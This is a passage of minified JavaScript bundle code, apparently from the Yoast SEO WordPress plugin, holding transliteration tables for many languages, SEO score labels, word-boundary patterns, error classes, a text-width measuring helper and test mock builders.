etter:/[\u00f3\u00f4]/g,alternative:"o"},{letter:/[\u00d3\u00d4]/g,alternative:"O"},{letter:/[\u0155]/g,alternative:"r"},{letter:/[\u0154]/g,alternative:"R"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0165]/g,alternative:"t"},{letter:/[\u0164]/g,alternative:"T"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"},{letter:/[\u00fd]/g,alternative:"y"},{letter:/[\u00dd]/g,alternative:"Y"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"}],sl:[{letter:/[\u010d\u0107]/g,alternative:"c"},{letter:/[\u010c\u0106]/g,alternative:"C"},{letter:/[\u0111]/g,alternative:"d"},{letter:/[\u0110]/g,alternative:"D"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"},{letter:/[\u00e0\u00e1\u0203\u0201]/g,alternative:"a"},{letter:/[\u00c0\u00c1\u0202\u0200]/g,alternative:"A"},{letter:/[\u00e8\u00e9\u0207\u0205]/g,alternative:"e"},{letter:/\u01dd\u0300/g,alternative:"e"},{letter:/\u01dd\u030f/g,alternative:"e"},{letter:/\u1eb9\u0301/g,alternative:"e"},{letter:/\u1eb9\u0311/g,alternative:"e"},{letter:/[\u00c8\u00c9\u0206\u0204]/g,alternative:"E"},{letter:/\u018e\u030f/g,alternative:"E"},{letter:/\u018e\u0300/g,alternative:"E"},{letter:/\u1eb8\u0311/g,alternative:"E"},{letter:/\u1eb8\u0301/g,alternative:"E"},{letter:/[\u00ec\u00ed\u020b\u0209]/g,alternative:"i"},{letter:/[\u00cc\u00cd\u020a\u0208]/g,alternative:"I"},{letter:/[\u00f2\u00f3\u020f\u020d]/g,alternative:"o"},{letter:/\u1ecd\u0311/g,alternative:"o"},{letter:/\u1ecd\u0301/g,alternative:"o"},{letter:/\u1ecc\u0311/g,alternative:"O"},{letter:/\u1ecc\u0301/g,alternative:"O"},{letter:/[\u00d2\u00d3\u020e\u020c]/g,alternative:"O"},{letter:/[\u00f9\u00fa\u0217\u0215]/g,alternative:"u"},{letter:/[\u00d9\u00da\u0216\u0214]/g,alternative:"U"},{letter:/[\u0155\u0213]/g,alternative:"r"},{letter:/[\u0154\u0212]/g,alternative:"R"}],sq:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00eb]/g,alternative:"e"},{letter:/[\u00cb]/g,alternative:"E"}],hu:[{letter:/[\u00e1]/g,alternative:"a"},{letter:/[\u00c1]/g,alternative:"A"},{letter:/[\u00e9]/g,alternative:"e"},{letter:/[\u00c9]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u00f3\u00f6\u0151]/g,alternative:"o"},{letter:/[\u00d3\u00d6\u0150]/g,alternative:"O"},{letter:/[\u00fa\u00fc\u0171]/g,alternative:"u"},{letter:/[\u00da\u00dc\u0170]/g,alternative:"U"}],srd:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e0\u00e1]/g,alternative:"a"},{letter:/[\u00c0\u00c1]/g,alternative:"A"},{letter:/[\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00ed\u00ef]/g,alternative:"i"},{letter:/[\u00cd\u00cf]/g,alternative:"I"},{letter:/[\u00f2\u00f3]/g,alternative:"o"},{letter:/[\u00d2\u00d3]/g,alternative:"O"},{letter:/[\u00fa\u00f9]/g,alternative:"u"},{letter:/[\u00da\u00d9]/g,alternative:"U"}],szl:[{letter:/[\u0107]/g,alternative:"c"},{letter:/[\u0106]/g,alternative:"C"},{letter:/[\u00e3]/g,alternative:"a"},{letter:/[\u00c3]/g,alternative:"A"},{letter:/[\u0142]/g,alternative:"u"},{letter:/[\u0141]/g,alternative:"U"},{letter:/[\u006e]/g,alternative:"n"},{letter:/[\u004e]/g,alternative:"N"},{letter:/[\u014f\u014d\u00f4\u00f5]/g,alternative:"o"},{letter:/[\u014e\u014c\u00d4\u00d5]/g,alternative:"O"},{letter:/[\u015b]/g,alternative:"s"},{letter:/[\u015a]/g,alternative:"S"},{letter:/[\u017a\u017c\u017e]/g,alternative:"z"},{letter:/[\u0179\u017b\u017d]/g,alternative:"Z"},{letter:/[\u016f]/g,alternative:"u"},{letter:/[\u016e]/g,alternative:"U"},{letter:/[\u010d]/g,alternative:"cz"},{letter:/[\u010c]/g,alternative:"Cz"},{letter:/[\u0159]/g,alternative:"rz"},{letter:/[\u0158]/g,alternative:"Rz"},{letter:/[\u0161]/g,alternative:"sz"},{letter:/[\u0160]/g,alternative:"Sz"}],tah:[{letter:/[\u0101\u00e2\u00e0]/g,alternative:"a"},{letter:/[\u0100\u00c2\u00c0]/g,alternative:"A"},{letter:/[\u00ef\u00ee\u00ec]/g,alternative:"i"},{letter:/[\u00cf\u00ce\u00cc]/g,alternative:"I"},{letter:/[\u0113\u00ea\u00e9]/g,alternative:"e"},{letter:/[\u0112\u00ca\u00c9]/g,alternative:"E"},{letter:/[\u016b\u00fb\u00fa]/g,alternative:"u"},{letter:/[\u016a\u00db\u00da]/g,alternative:"U"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00f2\u00f4\u014d]/g,alternative:"o"},{letter:/[\u00d2\u00d4\u014c]/g,alternative:"O"},{letter:/[\u2019\u0027\u2018]/g,alternative:""}],vec:[{letter:/\u0073\u002d\u0063/g,alternative:"sc"},{letter:/\u0053\u002d\u0043/g,alternative:"SC"},{letter:/\u0073\u0027\u0063/g,alternative:"sc"},{letter:/\u0053\u0027\u0043/g,alternative:"SC"},{letter:/\u0073\u2019\u0063/g,alternative:"sc"},{letter:/\u0053\u2019\u0043/g,alternative:"SC"},{letter:/\u0073\u2018\u0063/g,alternative:"sc"},{letter:/\u0053\u2018\u0043/g,alternative:"SC"},{letter:/\u0053\u002d\u0063/g,alternative:"Sc"},{letter:/\u0053\u0027\u0063/g,alternative:"Sc"},{letter:/\u0053\u2019\u0063/g,alternative:"Sc"},{letter:/\u0053\u2018\u0063/g,alternative:"Sc"},{letter:/\u0063\u2019/g,alternative:"c"},{letter:/\u0043\u2019/g,alternative:"C"},{letter:/\u0063\u2018/g,alternative:"c"},{letter:/\u0043\u2018/g,alternative:"C"},{letter:/\u0063\u0027/g,alternative:"c"},{letter:/\u0043\u0027/g,alternative:"C"},{letter:/[\u00e0\u00e1\u00e2]/g,alternative:"a"},{letter:/[\u00c0\u00c1\u00c2]/g,alternative:"A"},{letter:/[\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00f2\u00f3]/g,alternative:"o"},{letter:/[\u00d2\u00d3]/g,alternative:"O"},{letter:/[\u00f9\u00fa]/g,alternative:"u"},{letter:/[\u00d9\u00da]/g,alternative:"U"},{letter:/[\u00e7\u010d\u010b]/g,alternative:"c"},{letter:/[\u00c7\u010c\u010a]/g,alternative:"C"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u00a3\u0141]/g,alternative:"L"},{letter:/\ud835\udeff/g,alternative:"dh"},{letter:/[\u0111\u03b4]/g,alternative:"dh"},{letter:/[\u0110\u0394]/g,alternative:"Dh"}],wa:[{letter:/[\u00e2\u00e5]/g,alternative:"a"},{letter:/[\u00c2\u00c5]/g,alternative:"A"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/\u0065\u030a/g,alternative:"e"},{letter:/\u0045\u030a/g,alternative:"E"},{letter:/[\u00eb\u00ea\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u00ca\u00cb]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00f4\u00f6]/g,alternative:"o"},{letter:/[\u00d6\u00d4]/g,alternative:"O"},{letter:/[\u00fb]/g,alternative:"u"},{letter:/[\u00db]/g,alternative:"U"}],yor:[{letter:/[\u00e1\u00e0]/g,alternative:"a"},{letter:/[\u00c1\u00c0]/g,alternative:"A"},{letter:/[\u00ec\u00ed]/g,alternative:"i"},{letter:/[\u00cc\u00cd]/g,alternative:"I"},{letter:/\u1ecd\u0301/g,alternative:"o"},{letter:/\u1ecc\u0301/g,alternative:"O"},{letter:/\u1ecd\u0300/g,alternative:"o"},{letter:/\u1ecc\u0300/g,alternative:"O"},{letter:/[\u00f3\u00f2\u1ecd]/g,alternative:"o"},{letter:/[\u00d3\u00d2\u1ecc]/g,alternative:"O"},{letter:/[\u00fa\u00f9]/g,alternative:"u"},{letter:/[\u00da\u00d9]/g,alternative:"U"},{letter:/\u1eb9\u0301/g,alternative:"e"},{letter:/\u1eb8\u0301/g,alternative:"E"},{letter:/\u1eb9\u0300/g,alternative:"e"},{letter:/\u1eb8\u0300/g,alternative:"E"},{letter:/[\u00e9\u00e8\u1eb9]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u1eb8]/g,alternative:"E"},{letter:/[\u1e63]/g,alternative:"s"},{letter:/[\u1e62]/g,alternative:"S"}]}},78035:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"presenter",{enumerable:!0,get:function(){return n.default}});var s,n=(s=r(1456))&&s.__esModule?s:{default:s}},1456:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){const e=(0,s.__)("Content optimization:","wordpress-seo");return{feedback:{className:"na",screenReaderText:(0,s.__)("Feedback","wordpress-seo"),fullText:`${e} ${(0,s.__)("Has feedback","wordpress-seo")}`,screenReaderReadabilityText:""},bad:{className:"bad",screenReaderText:(0,s.__)("Needs improvement","wordpress-seo"),fullText:`${e} ${(0,s.__)("Needs improvement","wordpress-seo")}`,screenReaderReadabilityText:(0,s.__)("Needs improvement","wordpress-seo")},ok:{className:"ok",screenReaderText:(0,s.__)("OK SEO score","wordpress-seo"),fullText:`${e} ${(0,s.__)("OK SEO score","wordpress-seo")}`,screenReaderReadabilityText:(0,s.__)("OK","wordpress-seo")},good:{className:"good",screenReaderText:(0,s.__)("Good SEO score","wordpress-seo"),fullText:`${e} ${(0,s.__)("Good SEO score","wordpress-seo")}`,screenReaderReadabilityText:(0,s.__)("Good","wordpress-seo")}}};var s=r(65736)},23324:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){if((0,i.isUndefined)(e))return[];let t=a;return t=t.concat(d((0,n.default)(e))),t};var s,n=(s=r(67404))&&s.__esModule?s:{default:s},i=r(92819);const a=[{letter:/[\u00A3]/g,alternative:""},{letter:/[\u20AC]/g,alternative:"E"},{letter:/[\u00AA]/g,alternative:"a"},{letter:/[\u00BA]/g,alternative:"o"},{letter:/[\u00C0]/g,alternative:"A"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00C2]/g,alternative:"A"},{letter:/[\u00C3]/g,alternative:"A"},{letter:/[\u00C4]/g,alternative:"A"},{letter:/[\u00C5]/g,alternative:"A"},{letter:/[\u00C6]/g,alternative:"AE"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00C8]/g,alternative:"E"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00CA]/g,alternative:"E"},{letter:/[\u00CB]/g,alternative:"E"},{letter:/[\u00CC]/g,alternative:"I"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00CE]/g,alternative:"I"},{letter:/[\u00CF]/g,alternative:"I"},{letter:/[\u00D0]/g,alternative:"D"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00D2]/g,alternative:"O"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u00D4]/g,alternative:"O"},{letter:/[\u00D5]/g,alternative:"O"},{letter:/[\u00D6]/g,alternative:"O"},{letter:/[\u00D8]/g,alternative:"O"},{letter:/[\u00D9]/g,alternative:"U"},{letter:/[\u00DA]/g,alternative:"U"},{letter:/[\u00DB]/g,alternative:"U"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u00DE]/g,alternative:"TH"},{letter:/[\u00DF]/g,alternative:"s"},{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00E2]/g,alternative:"a"},{letter:/[\u00E3]/g,alternative:"a"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00E5]/g,alternative:"a"},{letter:/[\u00E6]/g,alternative:"ae"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00E8]/g,alternative:"e"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00EA]/g,alternative:"e"},{letter:/[\u00EB]/g,alternative:"e"},{letter:/[\u00EC]/g,alternative:"i"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00EE]/g,alternative:"i"},{letter:/[\u00EF]/g,alternative:"i"},{letter:/[\u00F0]/g,alternative:"d"},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00F2]/g,alternative:"o"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00F4]/g,alternative:"o"},{letter:/[\u00F5]/g,alternative:"o"},{letter:/[\u00F6]/g,alternative:"o"},{letter:/[\u00F8]/g,alternative:"o"},{letter:/[\u00F9]/g,alternative:"u"},{letter:/[\u00FA]/g,alternative:"u"},{letter:/[\u00FB]/g,alternative:"u"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00FE]/g,alternative:"th"},{letter:/[\u00FF]/g,alternative:"y"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0102]/g,alternative:"A"},{letter:/[\u0103]/g,alternative:"a"},{letter:/[\u0104]/g,alternative:"A"},{letter:/[\u0105]/g,alternative:"a"},{letter:/[\u0106]/g,alternative:"C"},{letter:/[\u0107]/g,alternative:"c"},{letter:/[\u0108]/g,alternative:"C"},{letter:/[\u0109]/g,alternative:"c"},{letter:/[\u010A]/g,alternative:"C"},{letter:/[\u010B]/g,alternative:"c"},{letter:/[\u010C]/g,alternative:"C"},{letter:/[\u010D]/g,alternative:"c"},{letter:/[\u010E]/g,alternative:"D"},{letter:/[\u010F]/g,alternative:"d"},{letter:/[\u0110]/g,alternative:"D"},{letter:/[\u0111]/g,alternative:"d"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u0114]/g,alternative:"E"},{letter:/[\u0115]/g,alternative:"e"},{letter:/[\u0116]/g,alternative:"E"},{letter:/[\u0117]/g,alternative:"e"},{letter:/[\u0118]/g,alternative:"E"},{letter:/[\u0119]/g,alternative:"e"},{letter:/[\u011A]/g,alternative:"E"},{letter:/[\u011B]/g,alternative:"e"},{letter:/[\u011C]/g,alternative:"G"},{letter:/[\u011D]/g,alternative:"g"},{letter:/[\u011E]/g,alternative:"G"},{letter:/[\u011F]/g,alternative:"g"},{letter:/[\u0120]/g,alternative:"G"},{letter:/[\u0121]/g,alternative:"g"},{letter:/[\u0122]/g,alternative:"G"},{letter:/[\u0123]/g,alternative:"g"},{letter:/[\u0124]/g,alternative:"H"},{letter:/[\u0125]/g,alternative:"h"},{letter:/[\u0126]/g,alternative:"H"},{letter:/[\u0127]/g,alternative:"h"},{letter:/[\u0128]/g,alternative:"I"},{letter:/[\u0129]/g,alternative:"i"},{letter:/[\u012A]/g,alternative:"I"},{letter:/[\u012B]/g,alternative:"i"},{letter:/[\u012C]/g,alternative:"I"},{letter:/[\u012D]/g,alternative:"i"},{letter:/[\u012E]/g,alternative:"I"},{letter:/[\u012F]/g,alternative:"i"},{letter:/[\u0130]/g,alternative:"I"},{letter:/[\u0131]/g,alternative:"i"},{letter:/[\u0132]/g,alternative:"IJ"},{letter:/[\u0133]/g,alternative:"ij"},{letter:/[\u0134]/g,alternative:"J"},{letter:/[\u0135]/g,alternative:"j"},{letter:/[\u0136]/g,alternative:"K"},{letter:/[\u0137]/g,alternative:"k"},{letter:/[\u0138]/g,alternative:"k"},{letter:/[\u0139]/g,alternative:"L"},{letter:/[\u013A]/g,alternative:"l"},{letter:/[\u013B]/g,alternative:"L"},{letter:/[\u013C]/g,alternative:"l"},{letter:/[\u013D]/g,alternative:"L"},{letter:/[\u013E]/g,alternative:"l"},{letter:/[\u013F]/g,alternative:"L"},{letter:/[\u0140]/g,alternative:"l"},{letter:/[\u0141]/g,alternative:"L"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u0143]/g,alternative:"N"},{letter:/[\u0144]/g,alternative:"n"},{letter:/[\u0145]/g,alternative:"N"},{letter:/[\u0146]/g,alternative:"n"},{letter:/[\u0147]/g,alternative:"N"},{letter:/[\u0148]/g,alternative:"n"},{letter:/[\u0149]/g,alternative:"n"},{letter:/[\u014A]/g,alternative:"N"},{letter:/[\u014B]/g,alternative:"n"},{letter:/[\u014C]/g,alternative:"O"},{letter:/[\u014D]/g,alternative:"o"},{letter:/[\u014E]/g,alternative:"O"},{letter:/[\u014F]/g,alternative:"o"},{letter:/[\u0150]/g,alternative:"O"},{letter:/[\u0151]/g,alternative:"o"},{letter:/[\u0152]/g,alternative:"OE"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0154]/g,alternative:"R"},{letter:/[\u0155]/g,alternative:"r"},{letter:/[\u0156]/g,alternative:"R"},{letter:/[\u0157]/g,alternative:"r"},{letter:/[\u0158]/g,alternative:"R"},{letter:/[\u0159]/g,alternative:"r"},{letter:/[\u015A]/g,alternative:"S"},{letter:/[\u015B]/g,alternative:"s"},{letter:/[\u015C]/g,alternative:"S"},{letter:/[\u015D]/g,alternative:"s"},{letter:/[\u015E]/g,alternative:"S"},{letter:/[\u015F]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0162]/g,alternative:"T"},{letter:/[\u0163]/g,alternative:"t"},{letter:/[\u0164]/g,alternative:"T"},{letter:/[\u0165]/g,alternative:"t"},{letter:/[\u0166]/g,alternative:"T"},{letter:/[\u0167]/g,alternative:"t"},{letter:/[\u0168]/g,alternative:"U"},{letter:/[\u0169]/g,alternative:"u"},{letter:/[\u016A]/g,alternative:"U"},{letter:/[\u016B]/g,alternative:"u"},{letter:/[\u016C]/g,alternative:"U"},{letter:/[\u016D]/g,alternative:"u"},{letter:/[\u016E]/g,alternative:"U"},{letter:/[\u016F]/g,alternative:"u"},{letter:/[\u0170]/g,alternative:"U"},{letter:/[\u0171]/g,alternative:"u"},{letter:/[\u0172]/g,alternative:"U"},{letter:/[\u0173]/g,alternative:"u"},{letter:/[\u0174]/g,alternative:"W"},{letter:/[\u0175]/g,alternative:"w"},{letter:/[\u0176]/g,alternative:"Y"},{letter:/[\u0177]/g,alternative:"y"},{letter:/[\u0178]/g,alternative:"Y"},{letter:/[\u0179]/g,alternative:"Z"},{letter:/[\u017A]/g,alternative:"z"},{letter:/[\u017B]/g,alternative:"Z"},{letter:/[\u017C]/g,alternative:"z"},{letter:/[\u017D]/g,alternative:"Z"},{letter:/[\u017E]/g,alternative:"z"},{letter:/[\u017F]/g,alternative:"s"},{letter:/[\u01A0]/g,alternative:"O"},{letter:/[\u01A1]/g,alternative:"o"},{letter:/[\u01AF]/g,alternative:"U"},{letter:/[\u01B0]/g,alternative:"u"},{letter:/[\u01CD]/g,alternative:"A"},{letter:/[\u01CE]/g,alternative:"a"},{letter:/[\u01CF]/g,alternative:"I"},{letter:/[\u01D0]/g,alternative:"i"},{letter:/[\u01D1]/g,alternative:"O"},{letter:/[\u01D2]/g,alternative:"o"},{letter:/[\u01D3]/g,alternative:"U"},{letter:/[\u01D4]/g,alternative:"u"},{letter:/[\u01D5]/g,alternative:"U"},{letter:/[\u01D6]/g,alternative:"u"},{letter:/[\u01D7]/g,alternative:"U"},{letter:/[\u01D8]/g,alternative:"u"},{letter:/[\u01D9]/g,alternative:"U"},{letter:/[\u01DA]/g,alternative:"u"},{letter:/[\u01DB]/g,alternative:"U"},{letter:/[\u01DC]/g,alternative:"u"},{letter:/[\u0218]/g,alternative:"S"},{letter:/[\u0219]/g,alternative:"s"},{letter:/[\u021A]/g,alternative:"T"},{letter:/[\u021B]/g,alternative:"t"},{letter:/[\u0251]/g,alternative:"a"},{letter:/[\u1EA0]/g,alternative:"A"},{letter:/[\u1EA1]/g,alternative:"a"},{letter:/[\u1EA2]/g,alternative:"A"},{letter:/[\u1EA3]/g,alternative:"a"},{letter:/[\u1EA4]/g,alternative:"A"},{letter:/[\u1EA5]/g,alternative:"a"},{letter:/[\u1EA6]/g,alternative:"A"},{letter:/[\u1EA7]/g,alternative:"a"},{letter:/[\u1EA8]/g,alternative:"A"},{letter:/[\u1EA9]/g,alternative:"a"},{letter:/[\u1EAA]/g,alternative:"A"},{letter:/[\u1EAB]/g,alternative:"a"},{letter:/[\u1EA6]/g,alternative:"A"},{letter:/[\u1EAD]/g,alternative:"a"},{letter:/[\u1EAE]/g,alternative:"A"},{letter:/[\u1EAF]/g,alternative:"a"},{letter:/[\u1EB0]/g,alternative:"A"},{letter:/[\u1EB1]/g,alternative:"a"},{letter:/[\u1EB2]/g,alternative:"A"},{letter:/[\u1EB3]/g,alternative:"a"},{letter:/[\u1EB4]/g,alternative:"A"},{letter:/[\u1EB5]/g,alternative:"a"},{letter:/[\u1EB6]/g,alternative:"A"},{letter:/[\u1EB7]/g,alternative:"a"},{letter:/[\u1EB8]/g,alternative:"E"},{letter:/[\u1EB9]/g,alternative:"e"},{letter:/[\u1EBA]/g,alternative:"E"},{letter:/[\u1EBB]/g,alternative:"e"},{letter:/[\u1EBC]/g,alternative:"E"},{letter:/[\u1EBD]/g,alternative:"e"},{letter:/[\u1EBE]/g,alternative:"E"},{letter:/[\u1EBF]/g,alternative:"e"},{letter:/[\u1EC0]/g,alternative:"E"},{letter:/[\u1EC1]/g,alternative:"e"},{letter:/[\u1EC2]/g,alternative:"E"},{letter:/[\u1EC3]/g,alternative:"e"},{letter:/[\u1EC4]/g,alternative:"E"},{letter:/[\u1EC5]/g,alternative:"e"},{letter:/[\u1EC6]/g,alternative:"E"},{letter:/[\u1EC7]/g,alternative:"e"},{letter:/[\u1EC8]/g,alternative:"I"},{letter:/[\u1EC9]/g,alternative:"i"},{letter:/[\u1ECA]/g,alternative:"I"},{letter:/[\u1ECB]/g,alternative:"i"},{letter:/[\u1ECC]/g,alternative:"O"},{letter:/[\u1ECD]/g,alternative:"o"},{letter:/[\u1ECE]/g,alternative:"O"},{letter:/[\u1ECF]/g,alternative:"o"},{letter:/[\u1ED0]/g,alternative:"O"},{letter:/[\u1ED1]/g,alternative:"o"},{letter:/[\u1ED2]/g,alternative:"O"},{letter:/[\u1ED3]/g,alternative:"o"},{letter:/[\u1ED4]/g,alternative:"O"},{letter:/[\u1ED5]/g,alternative:"o"},{letter:/[\u1ED6]/g,alternative:"O"},{letter:/[\u1ED7]/g,alternative:"o"},{letter:/[\u1ED8]/g,alternative:"O"},{letter:/[\u1ED9]/g,alternative:"o"},{letter:/[\u1EDA]/g,alternative:"O"},{letter:/[\u1EDB]/g,alternative:"o"},{letter:/[\u1EDC]/g,alternative:"O"},{letter:/[\u1EDD]/g,alternative:"o"},{letter:/[\u1EDE]/g,alternative:"O"},{letter:/[\u1EDF]/g,alternative:"o"},{letter:/[\u1EE0]/g,alternative:"O"},{letter:/[\u1EE1]/g,alternative:"o"},{letter:/[\u1EE2]/g,alternative:"O"},{letter:/[\u1EE3]/g,alternative:"o"},{letter:/[\u1EE4]/g,alternative:"U"},{letter:/[\u1EE5]/g,alternative:"u"},{letter:/[\u1EE6]/g,alternative:"U"},{letter:/[\u1EE7]/g,alternative:"u"},{letter:/[\u1EE8]/g,alternative:"U"},{letter:/[\u1EE9]/g,alternative:"u"},{letter:/[\u1EEA]/g,alternative:"U"},{letter:/[\u1EEB]/g,alternative:"u"},{letter:/[\u1EEC]/g,alternative:"U"},{letter:/[\u1EED]/g,alternative:"u"},{letter:/[\u1EEE]/g,alternative:"U"},{letter:/[\u1EEF]/g,alternative:"u"},{letter:/[\u1EF0]/g,alternative:"U"},{letter:/[\u1EF1]/g,alternative:"u"},{letter:/[\u1EF2]/g,alternative:"Y"},{letter:/[\u1EF3]/g,alternative:"y"},{letter:/[\u1EF4]/g,alternative:"Y"},{letter:/[\u1EF5]/g,alternative:"y"},{letter:/[\u1EF6]/g,alternative:"Y"},{letter:/[\u1EF7]/g,alternative:"y"},{letter:/[\u1EF8]/g,alternative:"Y"},{letter:/[\u1EF9]/g,alternative:"y"}],o=[{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00E4]/g,alternative:"ae"},{letter:/[\u00D6]/g,alternative:"Oe"},{letter:/[\u00F6]/g,alternative:"oe"},{letter:/[\u00DC]/g,alternative:"Ue"},{letter:/[\u00FC]/g,alternative:"ue"},{letter:/[\u1E9E]/g,alternative:"SS"},{letter:/[\u00DF]/g,alternative:"ss"}],l=[{letter:/[\u00C6]/g,alternative:"Ae"},{letter:/[\u00E6]/g,alternative:"ae"},{letter:/[\u00D8]/g,alternative:"Oe"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E5]/g,alternative:"aa"}],u=[{letter:/[\u00B7]/g,alternative:"ll"}],c=[{letter:/[\u0110]/g,alternative:"DJ"},{letter:/[\u0111]/g,alternative:"dj"}],d=function(e){switch(e){case"de":return o;case"da":return l;case"ca":return u;case"sr":case"bs":return c;default:return[]}}},35468:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){return[" ","\\n","\\r","\\t"," ","۔","؟","،","؛"," ",".",",","'","(",")",'"',"+","-",";","!","?",":","/","»","«","‹","›","<",">","”","“","〝","〞","〟","‟","„"]}},10152:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.WORD_BOUNDARY_WITH_HYPHEN=t.WORD_BOUNDARY_WITHOUT_HYPHEN=void 0,t.WORD_BOUNDARY_WITH_HYPHEN="[\\s\\u2013\\u002d]",t.WORD_BOUNDARY_WITHOUT_HYPHEN="[\\s\\u2013]"},62887:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class r extends Error{constructor(e){super(e),this.name="InvalidTypeError"}}t.default=r},85551:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class r extends Error{constructor(e){super(e),this.name="MissingArgumentError"}}t.default=r},25003:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.measureTextWidth=void 0;const r="yoast-measurement-element";t.measureTextWidth=function(e){let t=document.getElementById(r);return t||(t=function(){const e=document.createElement("div");return e.id=r,e.style.position="absolute",e.style.left="-9999em",e.style.top=0,e.style.height=0,e.style.overflow="hidden",e.style.fontFamily="arial, sans-serif",e.style.fontSize="20px",e.style.fontWeight="400",document.body.appendChild(e),e}()),t.innerText=e,t.offsetWidth}},47661:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.showTrace=n;var s=r(92819);function n(e){(0,s.isUndefined)(e)&&(e=""),(0,s.isUndefined)(console)||(0,s.isUndefined)(console.trace)||console.trace(e)}t.default={showTrace:n}},52453:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819);t.default=class{static buildMockElement(){const e=[];return e.nodeType=1,e}static buildMockResearcher(e,t=!1,r=!1,n=!1,i=!1){return!t||"object"!=typeof e&&"object"!=typeof i&&"object"!=typeof n?{getResearch:function(){return e},getData:function(){return r},getHelper:function(){return i},hasHelper:function(e){return!(0,s.isUndefined)(i[e])},getConfig:function(){return n},hasConfig:function(t){return!(0,s.isUndefined)(e[t])}}:{getResearch:function(t){return e[t]},hasResearch:function(t){return!(0,s.isUndefined)(e[t])},addResearch:function(t,r){e[t]=r},getData:function(){return r},getHelper:function(e){return i[e]},hasHelper:function(e){return!(0,s.isUndefined)(i[e])},addHelper:function(e,t){i||(i={}),i[e]=t},getConfig:function(e){return n[e]},hasConfig:function(e){return!(0,s.isUndefined)(n[e])},addConfig:function(e,t){n[e]=t}}}static buildMockString(e,t){let r="";e=e||"Test ",t=t||1;for(let s=0;s<t;s++)r+=e;return r}}},17179:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return Math.round(e)===e?Math.round(e):Math.round(10*e)/10}},54057:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r="%%"){r=(0,s.escapeRegExp)(r);const n=new RegExp(`${r}(.+?)${r}`,"g");let i,a=e;for(;null!==(i=n.exec(e));){const e=i[1],n=new RegExp(`${r}${(0,s.escapeRegExp)(e)}${r}`,"g");e in t&&(a=a.replace(n,t[e]))}return a};var s=r(92819)},89175:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getLanguagesWithWordComplexity=function(){return["en","es","de","fr"]}},73816:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getLanguagesWithWordFormSupport=function(){return["en","de","es","fr","it","nl","ru","id","pt","pl","ar","sv","he","hu","nb","tr","cs","sk","el","ja"]}},36832:(e,t,r)=>{"use 